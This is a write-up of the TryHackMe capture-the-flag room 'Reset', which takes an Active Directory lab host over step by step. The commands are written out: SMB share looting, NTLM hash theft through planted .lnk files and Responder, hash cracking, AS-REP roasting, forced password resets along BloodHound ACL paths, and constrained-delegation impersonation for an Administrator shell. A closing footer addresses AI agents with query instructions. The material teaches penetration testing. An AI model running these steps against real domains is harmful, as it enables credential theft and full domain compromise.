# Reset

{% embed url="<https://tryhackme.com/room/resetui>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

Thank you, l4m3r8, for this great challenge. AD is always tough for me; I'm neglecting it most of the time. But I learned some neat little tricks doing this.

Many thanks at this point to 0utc4st; the solution was developed in collaboration.

## Recon

The NMAP scan reveals that we deal with a Windows host with various open ports and services. Among them are services like DNS on port 53, Kerberos on port 88, Microsoft Windows RPC on ports 135, 49669 to 49702,  SMB on port 139/445, Microsoft Windows Active Directory LDAP on ports 389 and 3268, Microsoft Terminal Services on port 3389, and Microsoft HTTPAPI httpd on port 5985.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FwsmPbZ3yO2F9axPUyTQH%2Fgrafik.png?alt=media&#x26;token=f28ebb1d-03d0-4850-bb67-75fbc07ed963" alt=""><figcaption></figcaption></figure>

From the service scan, we can also see that the domain name is `THM.CORP` and the computer name is `HayStack`.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FEyNs0hvMhexVodFjQIq1%2Fgrafik.png?alt=media&#x26;token=0e54d47e-3de0-4328-b5ec-c7080ac4a530" alt=""><figcaption></figcaption></figure>

First, we enumerate the SMB service. We use `crackmapexec` for this. Alternatively, `SMBMap` or the `SMBClient` could also be used here. We can see that we can list the shares with any user without credentials.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FdpOa9mn0zG1P2g7J7vqr%2Fgrafik.png?alt=media&#x26;token=7d379a69-08a9-4bf6-af9a-f994d9eeafe5" alt=""><figcaption></figcaption></figure>

The share `Data` stands out. We use SMBClient to connect to the share and find the `onboarding` folder there. This contains two PDFs and a text file. We download the complete folder.

To download the folder recursively, we use the following commands:

```
mask ""
recurse ON 
prompt OFF
mget * 
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fk3iPycLDTbkK3NP6bCtI%2Fgrafik.png?alt=media&#x26;token=09d4399f-85eb-4d0e-a95c-75f23b173fea" alt=""><figcaption></figcaption></figure>

In the text file and in one of the presentations, we find the onboarding material for a user. We receive the first and last name of a user and their initial password.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FoG7v0UdJU3d2NI1gAKjj%2Fgrafik.png?alt=media&#x26;token=ac14792b-5a2a-486b-868f-3fb219e58314" alt=""><figcaption></figcaption></figure>

Unfortunately, we cannot find initial access with usernames like `LILY.ONEILL`, `LILY_ONEILL` or other in combination with that onboarding password, during further enumeration. So we have to compromise the machine in other ways.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FBrEnBHrJhol5Xu3ni2dq%2Fgrafik.png?alt=media&#x26;token=a48ec82b-0667-459e-bad8-a6929101a0e4" alt=""><figcaption></figcaption></figure>

## Initial Access

We stay in the SMB share and realize that the files here are being renamed or replaced. This means that a user accesses this share regularly. We also note that we have write access to the share.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FHCTJWWEIEWCfbaq3ux6F%2Fgrafik.png?alt=media&#x26;token=14462b6a-6ed7-4dd3-802a-2edad57fc715" alt=""><figcaption></figcaption></figure>

When it comes to AD enumeration, I first and foremost use the MindMap from Orange-Cyber Defense: `https://orange-cyberdefense.github.io/`

{% embed url="<https://orange-cyberdefense.github.io/ocd-mindmaps/img/pentest_ad_dark_2023_02.svg>" %}

Since we are on the same network as the machine, and we have write access, we can try to steal the NTLM hash of the user who regularly accesses `/Data/onboarding`. To do this, we set up Responder and place a file in the share that connects to us when it is opened and leaks the user's hash.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FtANTMyUoSYty5N4Wbn97%2Fgrafik.png?alt=media&#x26;token=7190eb1b-12d7-4b91-82b2-1a5da93ee044" alt=""><figcaption></figcaption></figure>

The Greenwolf `ntlm_theft` tool makes our work easier here and creates up to 21 files for us that can be used for NTLM hash theft.

{% embed url="<https://github.com/Greenwolf/ntlm_theft>" %}

We have the option of placing all of them in `/Data/onboarding` share or the one that we know works after testing. This is the `*.lnk` file. First, we generate all the files.

```
ntlm_theft.py -g all -s <IP> -f <FOLDER>
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FyE1CaAzQY7VpRvHOi9UL%2Fgrafik.png?alt=media&#x26;token=86b3070c-16bb-4430-a6d0-4cffea03a64a" alt=""><figcaption></figcaption></figure>

Next, we start Responder on our VPN interface.&#x20;

Responder is a powerful hacking tool used in penetration testing and security assessments. It's designed to listen for specific network traffic, particularly LLMNR (Link-Local Multicast Name Resolution) and NBT-NS (NetBIOS Name Service) requests. When a device on the network tries to resolve a hostname, such as through a mistyped URL or accessing a non-existent resource, it may send out these requests.

Responder intercepts these requests and responds with fake or spoofed responses, tricking the requesting device into sending authentication credentials. This is particularly effective in environments where NTLMv1/NTLMv2 authentication is prevalent.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FbP7Mv5IApNbqQqxwskUb%2Fgrafik.png?alt=media&#x26;token=09f2b57d-22a7-4b52-94ff-e23907a4ba2f" alt=""><figcaption></figcaption></figure>

After our Responder is running, we place the `*.lnk` file in `/Data/onboarding`.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FFp1ahlmmAHIqiay6H38M%2Fgrafik.png?alt=media&#x26;token=3dc4423a-27bf-401d-ab35-49af5de212db" alt=""><figcaption></figcaption></figure>

After a short time, we get the hash of the user `AUTOMATE` in Responder.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FISUIhGThqGgNoRv8a2qy%2Fgrafik.png?alt=media&#x26;token=1e0acb12-cef9-4842-9c46-e83084f55a31" alt=""><figcaption></figcaption></figure>

We use Hashcat to crack the hash. We do not need to specify the mode; Hashcat can determine this itself. The hash is specified via a file.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FatwoTVEscB7uYxiyDQt6%2Fgrafik.png?alt=media&#x26;token=93eb7038-b0ee-4fec-b51c-0cc22e7b7a9e" alt=""><figcaption></figcaption></figure>

Nice, now we have a valid User with credentials. Let's first check if we can connect to the machine using evil-winrm. We are able to connect and find the user's flag in the Desktop directory of the user `AUTOMATE`. So we are on the right track.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FsMzsATv7jYm5e4fs5Ky9%2Fgrafik.png?alt=media&#x26;token=35295e59-fea5-4186-8b0c-6845c58255fd" alt=""><figcaption></figcaption></figure>

## Lateral Movement

Since we now have credentials from the `AUTOMATE` user, we can query AS-REProastable users. AS-REP Roasting is a technique that enables us to steal the password hashes of user accounts that have Kerberos preauthentication disabled, which we can then attempt to crack offline. We use `GetNPUsers.py`, alternatively, we could also use Bloodhound to find them.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fb3WLd4L6qO8U43xFF7jM%2Fgrafik.png?alt=media&#x26;token=056dca2f-adef-45dc-8156-d07f3c5e531a" alt=""><figcaption></figcaption></figure>

Impackets script `GetNPUsers.py` can be used to query those users; it will attempt to list and get TGTs for those users that have the property 'Do not require Kerberos preauthentication' set (UF\_DONT\_REQUIRE\_PREAUTH). First, we query `GetNPUsers.py thm.corp/AUTOMATE` and provide the password of `AUTOMATE` to get all AS-REProastbale users.&#x20;

Next, we can query for each of them without providing a password. The user `TABATHA_BRITT` is of interest here, as the hash of this user is crackable.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FuaCl6rw7FDaezNsVRFyd%2Fgrafik.png?alt=media&#x26;token=01a15e78-3ff2-4a81-b7ae-93bceb13da64" alt=""><figcaption></figcaption></figure>

We use Hashcat again. And here, too, we do not need to specify the mode. We quickly retrieve the password.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FqOLd7cxzUwk8OAGqrxWq%2Fgrafik.png?alt=media&#x26;token=d4491857-9db3-40df-99c9-b9388083368a" alt=""><figcaption></figcaption></figure>

We've already mentioned Bloodhound, but now we're getting right to it. Next, we want to use Bloodhound to identify possible attack vectors via the user `TABATHA_BRITT` or others.

{% hint style="info" %}
It is not necessary to set up a fake DNS; instead, the target machine should be defined as a name server as a parameter in the command:

`bloodhound-python -d thm.corp -u 'TABATHA_BRITT' -p '' -dc thm.corp -c all -ns <TARGET_IP>`
{% endhint %}

We try to enumerate the domain with Bloodhound-python but receive a DNS error. To evade this problem, a fake DNS was set up...

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fl2l31kUqNrmrjcYudlZN%2Fgrafik.png?alt=media&#x26;token=c37e0c78-aaa5-497c-8995-b46e5ce3d9e6" alt=""><figcaption></figcaption></figure>

... with DNSChef as follows:

{% embed url="<https://github.com/iphelix/dnschef>" %}

<pre><code><strong>python dnschef.py --fakeip 10.10.237.77 --nameserver 10.10.237.77
</strong></code></pre>

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Ff81dTJhQWd1tptZnesEM%2Fgrafik.png?alt=media&#x26;token=3d57e5f0-c3fd-40e5-aefb-fd73c3d11a7f" alt=""><figcaption></figcaption></figure>

After we have set up DNSChef  we alter the command for Bloodhound-python. The nameserver parameter is added with our localhost everything else remains the same, and we are able to enumerate the domain.

```
bloodhound-python -d thm.corp -u 'TABATHA_BRITT' -p 'REDACTED' -dc thm.corp -c all -ns 127.0.0.1
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F28UKe2EEL3btE4kIdLdP%2Fgrafik.png?alt=media&#x26;token=631f9dca-648b-44b5-890e-6d9c543f8b27" alt=""><figcaption></figcaption></figure>

After we have collected all the JSON files, we run `neo4j start`...

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FDNAw9hodeDVkDv49TrGe%2Fspaces_oqaFccsCrwKo1CHmLRKW_uploads_78prEMJcfhXbqsPYK8Df_Untitled%203.webp?alt=media&#x26;token=643f889f-8030-4333-b639-883f850cb55f" alt=""><figcaption></figcaption></figure>

...execute Bloodhound and drop all the JSON files into the app.&#x20;

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FR6AnN58wBLNlMBk4aypO%2Fgrafik.png?alt=media&#x26;token=3cbc1a2e-d6d8-459f-baf4-ee3d6fddbc83" alt=""><figcaption></figcaption></figure>

We select the node for `TABATHA_BRITT` and display all transitively controllable objects.&#x20;

Transitive Object Control are objects this user can gain control of by performing ACL-only-based attacks in Active Directory. It's represented as a number. In other words, the maximum it is the number of objects the user can gain control of without needing to pivot to any other system in the network, just by manipulating objects in the directory

A possible path can already be seen here. Unfortunately, the edges are not labeled due to the zoom.

But we have:

`GenericAll` from `TABATHA_BRITT` to `SHAWMA_BRAY`.&#x20;

`ForceChangePassword` from `SHAWMA_BRAY` to `CRUZZ_HALL`.&#x20;

`GenericWrite` from `CRUZ_HALL` to `DARLA_WINTERS`.&#x20;

So we can fight our way to `DARLA_WINTERS`. Bloodhound even shows us how to do this.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FZ6RtD5WdquXQQEaegIlu%2Fgrafik.png?alt=media&#x26;token=de56a3ff-639a-4a64-aba2-edbac0e33002" alt=""><figcaption></figcaption></figure>

We right-click on the edge and select help.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FwaZIjgGMcm1fzPpDl2nz%2Fgrafik.png?alt=media&#x26;token=49b82e41-5c1e-499f-9d87-ef85cfd519f5" alt=""><figcaption></figcaption></figure>

Here we can see that it is possible to change the password for the following user with `GenericAll` via RPC. This also applies to `ForceChangePassword` and `GenericWrite`. Ok, we reset our way to `DARLA_WINTERS`.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FRTxYFYKLPFd0t2h9jh8f%2Fgrafik.png?alt=media&#x26;token=9bd963b3-1eb7-4725-b0df-6b5dfdf50ee6" alt=""><figcaption></figcaption></figure>

With the following command, we set the passwords of the users; we simply use the suggested password from Bloodhound.

```
net rpc password "SHAWNA_BRAY" "newP@ssword2022" -U 'TABATHA_BRITT'%'REDACTED' -I '10.10.237.77' -S "THM.CORP"
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FVCTs9ol8TeZIanQ86QCF%2Fgrafik.png?alt=media&#x26;token=6ebad5b7-87d2-4c94-8fc8-b3d9ad1aa607" alt=""><figcaption></figcaption></figure>

We'll see if that works out. At least there were no errors. We know from Bloodhound that the user `DARLA_WINTERS` has access to the computer via RDP.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FxPRH8yGi7ALqPaG5qd8N%2Fgrafik.png?alt=media&#x26;token=19613e0f-e2ad-437c-8d32-481e3e62f466" alt=""><figcaption></figcaption></figure>

We use RDP with our changed credentials of `DARLA_WINTERS` and see we can connect. Our password change was successful. But what have we gained now?

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FvngrIZXO92I5moXWKw9Z%2Fgrafik.png?alt=media&#x26;token=fd6d589d-ce84-4eb3-8ff2-981eedd272ae" alt=""><figcaption></figcaption></figure>

## Privilege Escalation

We take a closer look at the `DARLA_WINTERS` node and see that delegation is possible for the CIFS service. Many sources, like <https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/constrained-delegation> are refering to Rubeus and Mimikatz to do so. But the machine has AV turned on, and I was only able to disable AMSI via Fabian Mosch / Matt Graeber Bypass.&#x20;

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FIAaZK9UOTGsMwcFCXvWp%2Fgrafik.png?alt=media&#x26;token=bafcb816-8235-43c1-a188-1fe56cf32a03" alt=""><figcaption></figcaption></figure>

But Impacket also has a solution for this to do it remotely. We use the script `getST.py`.&#x20;

Impacket’s `getST.py` will request a Service Ticket and save it as ccache. If the account has constrained delegation privileges, you can use the `-impersonate` flag to request a ticket on behalf of another user.

{% embed url="<https://github.com/fortra/impacket/blob/master/examples/getST.py>" %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Frs4DHHRJYKyKr9AONZVq%2Fgrafik.png?alt=media&#x26;token=c7b43705-a9c2-4e8a-bad5-318cda549e24" alt=""><figcaption></figcaption></figure>

After executing the command and providing our set password for `DARLA_WINTERS`, we receive the service ticket, which we can then use to get a remote shell as Administrator.

```
getST.py -k -impersonate Administrator -spn cifs/HAYSTACK.THM.CORP THM.CORP/DARLA_WINTERS
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FTQyDfjNjiGPw30WOCwDQ%2Fgrafik.png?alt=media&#x26;token=c62845ec-deaa-4fdd-aa79-09abf22d8615" alt=""><figcaption></figcaption></figure>

Next, we set the variable `KRB5CCNAME` via `export KRB5CCNAME=<filename>` and  execute `wmiexec.py` as follows, which accesses the variable:

```
wmiexec.py THM.CORP/Administrator@HAYSTACK.THM.CORP -k -no-pass
```

We get a shell as Administrator on the machine and find the final flag in \
`C:\Users\Administrator\Desktop\root.txt`.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FFjPyMJaBkLtTNTXLowVh%2Fgrafik.png?alt=media&#x26;token=69d4c573-cd6b-42b8-8873-b7d9ded1bb77" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xb0b.gitbook.io/writeups/tryhackme/2024/reset.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
